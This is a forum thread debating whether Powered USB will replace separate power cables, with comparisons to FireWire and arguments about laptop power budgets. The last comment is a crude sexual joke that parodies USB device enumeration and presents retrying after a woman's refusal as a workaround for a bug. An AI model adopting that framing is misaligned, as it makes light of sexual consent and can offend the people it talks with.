Why Powered USB Is Going to Fail

An anonymous reader writes "Patrick McFarland, famous Free Software Magazine author, has written a two part article about why Powered USB is not taking off at home. (part 2 is also available) He includes a lengthy history on why USB took off in the first place, and then continues on to explain what we gain by allowing Powered USB to power all our devices."

Comments

I agree

[MrNaz]

Agreed.I've never been a big fan of USB. The concept is fantastic, a unified connector that links just about any device to any other and can charge them is a great idea. However I am still bitter the Firewire lost out. It has more bandwidth, has sturdier connectors, and can deliver far more power. Being able to just plug one cable to power and link a hard drive would be great, I have one of those external IDE enclosures, and having *another* power brick is just silly.

Being able to charge high draw devices through Firewire would rock. Powering my laptop from my PC would be great, especially if it will be syncing files at the same time, allowing me to leave the power brick in my laptop case and not have to get it out after getting home.

In my eagerness to get this post in first, I didn't read the article before I started typing. He says it all the same way I would. So to all of you who haven't RTFA'd, do it to find out the rest of this comment's points. Now lets see if I can still get this in first...

Re:I agree

[diablo-d3]

Hi, I'm the guy who wrote the article in question. Yeah, I had laptops-charging-while-syncing in mind as well when I wrote the article, its only a step up from PDAs who charge while syncing (which already is done via normal USB on some PDAs).

I'm a fan of Firewire as well, which is mainly why I wrote this article in the first place. Powered USB handles all the power issues (except for the flaws I noted in my article), and a future USB 3.0 revision will catch USB up to Firewire 800 over 9 pin cables (as opposed to the new over-CAT5 and over-Optical versions that are really for special use applications and completely outside the realm of desktop computing), so I just don't see why they don't clean up Powered USB and either integrate it into USB 3.0, or release it as a more official optional extension.

USB may have killed Firewire, but that doesn't mean USB is ready to replace it quite yet; the fact Firewire 800 was even released, and supported on non-Apple devices pretty much proves that.

USB needs to add more firewire like stuff

[Joe The Dragon]

like offloading work from the cpu as the older and slow fire wire 400 bus is faster then the usb 2 bus and it can be used to link 2 systems together with out a special cable.

I sincerely hope powered USB fails

[Thagg]

I don't feel that computer designers should really have to think about some peripheral device sucking 50 watts out of a connection on the motherboard. If you want power, get a cord. If you want portable power, bring a battery. Just having one fewer cable on a desk is not a problem worth solving this way.

Laptops, for instance, are designed around very limited power budgets. If you plug a 1000 watt USB hair dryer into it, how long are the batteries going to last?

A solution I would be in favor of is building lower power peripherals. Building 500 GB flash hard-drive replacements than run on half-a-watt should be possible in a couple of years. Building very low power OLED displays should be possible. Building low-power devices is something that is a win in every possible way, and should be encouraged -- the USB power limitation is a great way to stimulate this!

That said, I'm really sorry I passed up the USB-powered heated typing gloves I saw in Shinjuku last fall...

Thad Beier

Re:I sincerely hope powered USB fails

[swillden]

I don't feel that computer designers should really have to think about some peripheral device sucking 50 watts out of a connection on the motherboard.

Why not? Sure it's another factor in motherboard design, but as long as the USB peripheral and the controller can negotiate the power demands, then it's easy enough to make sure it's not going to burn anything out. If a device would draw more power than the mobo would supply, the controller simply wouldn't power it. That would make USB-deliverable power another feature by which to compare mobos.

Just having one fewer cable on a desk is not a problem worth solving this way.

I disagree. Perhaps I would agree if it were only one cable, but it's not. It's often four or five cables. My desktop, for example, has two printers, a scanner, speakers and a monitor, plus the CPU, so that's six power cables and six data cables (including the network). Worse, the six power cables require two power strips (because the wall warts cover more than one outlet on a typical power strip), so there are an additional two cables, for a total of 14 cables under my desk, for that one computer. Powered USB, if done right, could conceivably eliminate both power strips and all but one of the power cables, so instead of 14 cables, I'd have seven. Even better, the routing of the seven would be cleaner, since all of the peripheral cables connect to the computer and the compute is the only one that connects to the wall. That's well worth doing.

Laptops, for instance, are designed around very limited power budgets. If you plug a 1000 watt USB hair dryer into it, how long are the batteries going to last?

Not long, of course, but if I want to do that, and if the laptop can deliver the juice (unlikely in your example, but we could construct another that was more feasible), why shouldn't I be able to? They're my batteries and the power in them is mine to spend as I please.

A solution I would be in favor of is building lower power peripherals. Building 500 GB flash hard-drive replacements than run on half-a-watt should be possible in a couple of years. Building very low power OLED displays should be possible. Building low-power devices is something that is a win in every possible way, and should be encouraged -- the USB power limitation is a great way to stimulate this!

Given the increasing move to portables and the apparently-insurmountable limitations of batteries, I think that problem takes care of itself. Low-power USB-powered devices would have an inherent mobility advantage that would drive their sales over hungrier devices. They'd also be cooler and quieter, which also tends to please buyers. There's no reason to impose an artificial barrier which makes classes of devices that can't quite reach the 0.5A mark completely infeasible.

Re:how to tell a girl you want to eat here out?

[Hal_Porter]

theres this girl I like and I really want to eat her out. I could spend hours pleasuring her. How do I ask her?

Register for callbacks on device enumeration.

Once she has enumerated, check her device descriptor bDeviceClass for class USB_HUMAN and bDeviceSubClass for HETEROSEXUAL_WOMAN. These steps are very important, do not omit them. If these are zeros in the Device Descriptor, iterate through all the Interface Descriptors. Note, if there is more than one Interface Descriptor, it may be best to skip the device.

Now send a class request, SET_FEATURE ( HUMAN_ORAL_SEX ). If she doesn't stall the request, you are good to go. Some targets have a bug where the request are stalled incorrectly a few times. In this case, you should retry a few times, but not too many, unless BUILD_OPTION_EMO_LOSER is defined in which case you should retry an unlimited number of times until the OS bugchecks. Actually, if that is defined, you can skip the class and subclass post enumeration checks too.